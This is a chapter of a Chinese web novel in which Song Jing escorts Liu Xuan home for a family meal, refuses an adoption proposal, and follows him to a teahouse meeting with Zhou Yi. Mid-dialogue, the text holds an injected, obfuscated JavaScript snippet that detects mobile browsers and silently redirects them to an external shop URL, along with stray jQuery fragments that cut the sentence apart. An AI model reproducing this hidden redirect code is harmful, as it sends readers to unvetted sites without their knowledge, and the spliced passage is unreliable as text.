17.回府
    魏凡走了,围观的人也作鸟兽状散了。

    宋旌仍讶异于那一场大戏,未曾留意柳悬何时让他松开了捂眼之手,又何时为他在割破的拇指上抹了冰凉的伤药。

    魏凡,在宋旌的记忆里,只是一个模糊的影子,宋旌关于这个人的记忆,除了他是魏鹏之子,是英才院里有名的纨绔,向来欺软怕硬,脾气颇为暴躁以外,相比于他那未来会协助贼子谋反的爹,宋旌只记得他与一桩昔日轰动英才院的案子有所关联,但其中的具体情节却早已忘得一干二净。

    有时,宋旌也会懊悔,深感自己当年因醉心于习武练兵,而不理时局朝政,更瞧不上军营以外的庸人俗事,着实不该!

    否则,他也不至于像现在这般,犹如一只无头苍蝇,想提前着手准备,给暗处的敌人杀个措手不及,阻止未来可能会发生的种种祸乱,将那些乱臣贼子连根拔起,但却只觉得思绪繁杂、无从下手、力不从心。

    “走吧,不能再耽搁了。”柳悬将装有伤药的瓷瓶塞进随身携带的鱼袋中,自行扶住木轮,向前推行。

    宋旌后知后觉,瞧见拇指上未干透的白色药膏,心头一暖,稍一愣神,连忙快步追上柳悬,腆着脸,嬉笑道:“谢谢哥哥。”

    后面一段路,或许是为了避免宋旌蹭掉拇指上的药,柳悬没让宋旌插手,自行将轮椅推行至英才院的坊墙外。

    宽阔的官道上,飞雪与轻红在路旁已等候多时。

    此时,轻红正在匾额下来回渡步,飞雪则侧坐在车辕上假寐。

    见柳悬从院里出来,飞雪睁开眼,轻红也连忙小跑至柳悬身边。

    “公子,你们可算是出来了,你要再耽搁一阵子,我就要进去寻你了。”

    轻红一脸焦急,又带有几分埋怨,她实在是不放心让柳悬同宋旌单独待一起,生怕柳悬叫宋旌欺负了去。

    柳悬宽慰了轻红两句,在宋旌的帮助上坐上马车。

    马车从英才院到将军府会经过盛京最繁华的坊市——宝华坊。

    宝华坊中人声鼎沸、热闹非凡。

    即使隔着一道等身高的坊墙,柳悬在马车上也能听见里面的盛况。

    在熙熙攘攘的街道上,各色小店铺子琳琅满目,招牌幌子随风摇曳,小贩们的吆喝声此起彼伏,他们或手持糖人草垛,或肩挑藤编货郎担。

    酒楼茶肆里热气腾腾、香气扑鼻,还有那说书先生,一拍惊堂木,讲述起一段鲜为人知的离奇故事,其中食客或坐或立,在众人推杯换盏间,欢声笑语不断,那热闹非凡的景象,仿佛能将人的一切忧愁一扫而空。

    “哥哥想看,等那日闲了,我亲自带哥哥来就是,这坊间要等夜里点上灯火,那才算是真的热闹呢!”

    宋旌见柳悬撩起帷裳往外看,以为柳悬是被坊间的繁荣景象所吸引,一想到以前自己出门总找各种理由推脱父母的要求,不爱带柳悬一起,而柳悬的性子又闷得很,在京中没有什么朋友,想来应该极少会主动出门闲逛,便信誓旦旦地许下诺来。

    柳悬放下帘子,未置可否,只淡淡地凝望了宋旌一眼,瞧了片刻,又闭上眼,一直到马车行驶至宋府门外,宋旌将柳悬带下马车的时候,柳悬才轻抬起双眸。

    不出柳悬所料,宋言章夫妇早已在府内等候多时,韩书月自早上听说柳悬今日回府的消息后,便喜不自胜,忙前忙后,亲自张罗起午间的膳食,而宋言章自散朝后,也一直待在府中,哪儿也没去,就等宋旌与柳悬一起回府。

    宋言章其实一直想将柳悬收为义子。

    这一来,是因为宋言章心中有愧,当年柳行舟曾修书于他,陈述桃州危情,请他上禀朝堂,请求圣上遣兵支援,而他那时忙于槐地流寇之乱,受皇室之争牵绊,未能及时救援,错失良机,致使桃州之难,这是他心里一直过不去坎儿。

    这二来,是因为宋言章年轻时曾与柳行舟约定,倘若两人将来的孩子是一男一女便促成其结为秦晋之好,若是两男或两女便促使其结拜为异姓兄弟或姐妹,如今,柳行舟夫妇已相继离世,留下柳悬孤苦一人,宋言章心中满是怜惜,他也希望宋家能成为柳悬的倚靠,给柳悬一个温暖的新家,以践行当年与柳行舟的约定。

    不过这事宋言章以前一直没提,因为柳悬与宋旌的关系不好,怕两人都不乐意。

    结果,今日在用膳时,宋言章见宋旌与柳悬的关系果真亲近了许多,比如宋旌会主动给柳悬添菜盛汤,还会在布菜前仔细替柳悬去骨剔刺,宋旌那小心翼翼的模样,简直比宋言章照顾他自己的媳妇儿还要上心。

    宋言章见状,便壮着胆子,在饭桌上提了一嘴:“说来也是奇怪,我平日里倒未曾发觉咱们鹑儿竟有这般体贴入微的一面,对他柳哥哥照顾得无微不至,既然鹑儿眼下这般欢喜他柳哥哥,那要不就择个良辰吉日,让子夏正式给我俩敬一杯父母茶,顺便也将这称呼改一改,让他俩这份兄弟情谊更为名正言顺,如何?”

    然而,令宋言章始料未及的是,他的话甫一出口,宋旌便猛地一拍桌子,一改方才那轻声细语的柔情模样,向他爹斩钉截铁地拒绝道:“不行!我不同意!!!”

    宋旌这突如其来的反应,让饭桌上的气氛顿时凝固。

    宋言章与韩书月面面相觑,还以为宋旌是心里吃味,不愿意多个哥哥来分担父母对他的宠爱,所以才会如此激烈地反抗,一时之间竟也不知该如何是好。

    倒是柳悬,见宋旌比他预想的反应还要更强烈一些,心中不免有些诧异。

    然而,宋旌的脸上并未流露出愤怒或厌恶之色,反而满是焦躁、不安与恐惧,这让柳悬不由得一愣。

    柳悬的余光瞥见宋言章面色渐沉,似有发作之势,便连忙抢先一步,按住了同样蠢蠢欲动、欲掀桌而起的宋旌。

    他语气诚恳地向宋言章解释道:“子夏深感伯父伯母的厚爱,但自觉福薄,终有一日要回到桃州。”

    “若子夏今后真以义子之名,受宋家祖荫庇佑,却无法事事躬亲,时刻侍奉于双亲左右,那子夏岂不是要背上那不孝之名?鹑儿他……”

    说到这儿,柳悬忽觉宋旌的身子突然微微一颤,他下意识地侧目望去,只见宋旌的脸色红得如同冬月里熟透的柿子,那红晕一路从脸颊蔓延至耳根,就连那白皙的后颈也染上了一抹淡淡的粉红色。

    柳悬见此情景,嘴角不自觉地上扬,眉眼间满是笑意,仿佛春日里盛放在曦阳下的一朵桃花,明媚而动人。

    柳悬浅笑吟吟,继续说道:“鹑儿他只是为我考虑得更多罢了,还请伯父伯母莫要因我而错怪了他。”

    有柳悬帮忙从中斡旋,宋言章的情绪很快就平复下来,他轻叹一声,只道:“罢了罢了,名份之事不过是个形式,我们真正希望的是,子夏你能别把宋家当外人。”

    柳悬含笑颔首,轻轻移开覆于宋旌手背之上的手,旋即起身,向宋言章夫妇郑重作揖,言辞恳切道:“伯父伯母于子夏而言,恩重如山,在子夏心中,早已与双亲无异。”

    经柳悬一番调解,那一场无足轻重的小风波逐渐烟消云散,屋内又恢复至起初那般祥和之景。

    用过午膳,宋旌与柳悬陪韩书月在院中闲话家常,期间宋言章还将宋旌唤去,与他切磋一番,意在检验他离家这段时日,是否有荒废武艺,是否依旧勤勉练功。

    天色渐沉,由乌云纺织的黑色幕布将最后一抹余晖也包裹其中,吞噬殆尽。

    韩书月坐于香竹风炉之前,亲手烹制起花果茶,她偶尔望向窗外,只见一群飞鸟慌乱撞于屋檐上,她不由地眉头紧锁。

    “瞧这天色,暴雨将至,你俩今日不如留于府中安歇?你们的房间,我每日命人勤勉洒扫,住一晚,应也无妨。”韩书月看似随意一问,实则是在试探柳悬与宋旌的想法。

    柳悬虽看出了韩书月眼中的不舍,但他也怕今日不走,明日便再也走不了了,他可不想就这般顺理成章地日日留在宋府,更不想让宋旌就那般轻而易举地完成宋言章所交代的任务,毕竟他也觉得,即便宋言章的原话是“讨子夏欢心后,再请他回来住”,可是他若真留下一日,那宋旌就算未真的讨得他的欢心,他也没有理由再走,且宋言章确实不会过分苛责于宋旌。

    “伯母,我……”柳悬心中一番思量,最终还是决定婉拒韩书月的一片好意。

    “娘,算了吧,”柳悬正在措辞时,宋旌已先声夺人,主动替他回绝道:“那王学博又差人送来诸多书册,嘱咐哥哥务必在小考前修订完毕,时间紧迫,任务繁重,一刻也耽误不得。”

    说着,斜倚在美人榻上的宋旌,直直望向柳悬,巧笑嫣然,坦言道:“况且,我至今未真正讨得哥哥欢心,哥哥若是留下,怕是瞧在爹娘的情面上,才肯饶过我往昔所犯下的种种过错,可我宋旌身为七尺男儿,怎能倚仗爹娘之势来欺压哥哥?故而,今日你便放我俩回去吧,待小考结束,我定能亲自请哥哥回府。”

    就这样毫无遮掩,被宋旌直戳中自己的心思,柳悬有些心虚,他没有答话,只低眉顺眼地端起瓷碗,品了一口碗中的紫笋茶。

    韩书月被宋旌那连珠炮似的说服与撒娇弄得哭笑不得,她最终还是无奈让步,摇头轻笑道:“罢了,真是拿你俩没办法!既然去意已决,那便速速离去吧?免得稍后大雨滂沱,行路艰难。”

    说完,韩书月还不忘用食指戳了几下宋言章的肋骨,佯装出一副不满的样子,娇俏地嗔怪道:“你这个当爹的该罚!也不与王永道那老家伙提前言明,怎就给子夏委派那么多事务?倘若将子夏的身子累垮了

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14228915|148359||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,看我怎么与你算账!”

    教训完宋言章,韩书月又命人备了好些东西,才将柳悬与宋旌送出府。

    重重墨云下,宋言章夫妻目送柳悬坐上马车后,韩书月在马车外,又是好一番叮咛嘱托,直叫宋旌好好照顾柳悬的身体。

    最终,还是宋言章将依依不舍的韩书月揽进了臂弯里,飞雪才得以找到机会,迅速驾车离去。

    回英才院时,坐不惯马车的宋旌还是换成了驾马随行。

    当马车驶过宝华坊时,车厢内的柳悬敲了几下车壁,发出不规则的“咚咚”声。

    飞雪闻声,便调转了驾驶的方向。

    “哥哥不回风斋,这是要去哪儿?”眼见马车的行径偏离了既定路线,宋旌急忙勒紧缰绳,调转马头,紧紧追随柳悬而去。

    “今日,宋公子亦赋闲吗?”柳悬没有撩开帷裳,坐于车内,说话时的语气又恢复至往常的模样,与方才在宋府时,截然不同。

    宋旌的马与柳悬的马车并驾齐驱。

    当柳悬的语气与态度骤然变换时,宋旌竟适应得极快。

    此刻,宋旌心中似明镜般清楚,柳悬的言行皆是出于故意想要支开他,让他莫要紧紧相随的目的。

    然而,宋旌却故意装作不知,但凡柳悬有问,他必是有答道:“军中有连松打理,其余诸事亦有丹良操心,正如阿娘所言,照顾好哥哥,乃是我当前最为紧要之事,我眼下是恪尽职守,又怎会有闲暇之余呢?”

    “那宋公子愿跟,便跟着吧。”柳悬见宋旌已明了他的言下之意,却仍不肯离去,便也不再白费口舌,只安然端坐于车内,闭目养神。

    飞雪驱策马车,缓缓驶入宝华坊。

    宝华坊内,行人寥寥,与先前的繁华喧嚣判若两景,仿佛是因预知到雷雨倾盆,众多食客与商铺纷纷提前收摊,回家避雨。

    柳悬的马车最终稳稳停靠在盛京城内最负盛名的茶肆——浮梦斋前。

    “公子,到了。”飞雪那略显低沉的声音自车厢外传来,打破了周遭的宁静。

    宋旌随之,止步不前。

    待宋旌瞧见茶肆的招牌时,他的心里忽然涌上一股说不清道不明的异样之感。

    浮生斋?

    浮生一梦?

    为何他宋旌从未曾耳闻,盛京这寸土寸金的闹市之中,竟还隐匿着一间如此神秘且狭小的茶肆?

    从外侧看,茶肆的面积不大,入口宽度还不及普通商铺的一半,茶肆上有一处造型奇特的飞檐,飞檐下挂了两盏走马灯,白日瞧不见光影下的画,再往里看,茶肆的入口处放了一扇高大、古朴且活灵活现的山水万兽屏风,屏风后轻雾缭绕,宛若仙境。

    “柳兄。”浮梦斋的入口处,传来一道温润如玉、极具亲和力的声音。

    宋旌寻声一瞧,只见斋前郁郁葱葱的绿植旁,正静候着一位翩翩公子,此人正是秾地域使之子,周屹。

    周屹的目光在触及马背上的宋旌时,眼中忽闪过一丝惊异,随即又行了一礼,向宋旌恭敬地唤道:“宋小将军。”

    宋旌万万没有料到,柳悬要见之人竟会是他?

    虽说柳悬日后也会追随周屹,且宋旌忆起两人在英才院时确有些微末交情,但宋旌着实未曾料到,他以为大门不出、二门不迈的柳悬竟在少年时便与周屹交情匪浅,甚至还会私下邀约相见。

    周屹与柳悬之间的渊源,就连活了四十余载的宋旌也浑然不知,这不禁让宋旌陷入深思,他俩究竟在何时、因何缘由而相识?

    正当宋旌暗自思量时,柳悬已在飞雪与轻红的辅助下,下了马车。

    “周兄。”柳悬亦是彬彬有礼,谦恭地回了一礼。

    周屹见宋旌是随柳悬而来,心中的防备与敌意消散了几分,他默契地没有多问,只是躬身相邀,笑容满面:“两位请,茶水早已备好,周某在此已恭候多时。”

    柳悬闻言,温和一笑,行上石阶,自然而然地与周屹寒暄起来:“早就听闻秾地今年茶叶丰收,品质上乘,想来我待会定是有口福了。”

    待柳悬行至斋门前,宋旌从沉思中回过神来,动作利落地翻身下马,一气呵成。

    宋旌急忙追上柳悬,有意将柳悬身边的周屹推挤至一侧,自觉地接过轮椅,替柳悬推行,口中不服气地说道:“哥哥若是喜欢吃茶,大可不必找他人讨要,我将军府的茶可是万两黄金难买的贡茶,哥哥还怕喝不痛快吗?”

    周屹神色如常,悄然落后几步,步履不紧不慢,跟在两人身后,闻得宋旌所言,随即爽朗应道:“哈哈哈,宋小将军所言极是,周某的茶自是比不得圣上亲赐的茶,不过依周某与柳兄之间的情谊,既然有贵客肯屈尊驾临,周某也定当倾尽所有,以最诚挚的心意来招待二位才是。”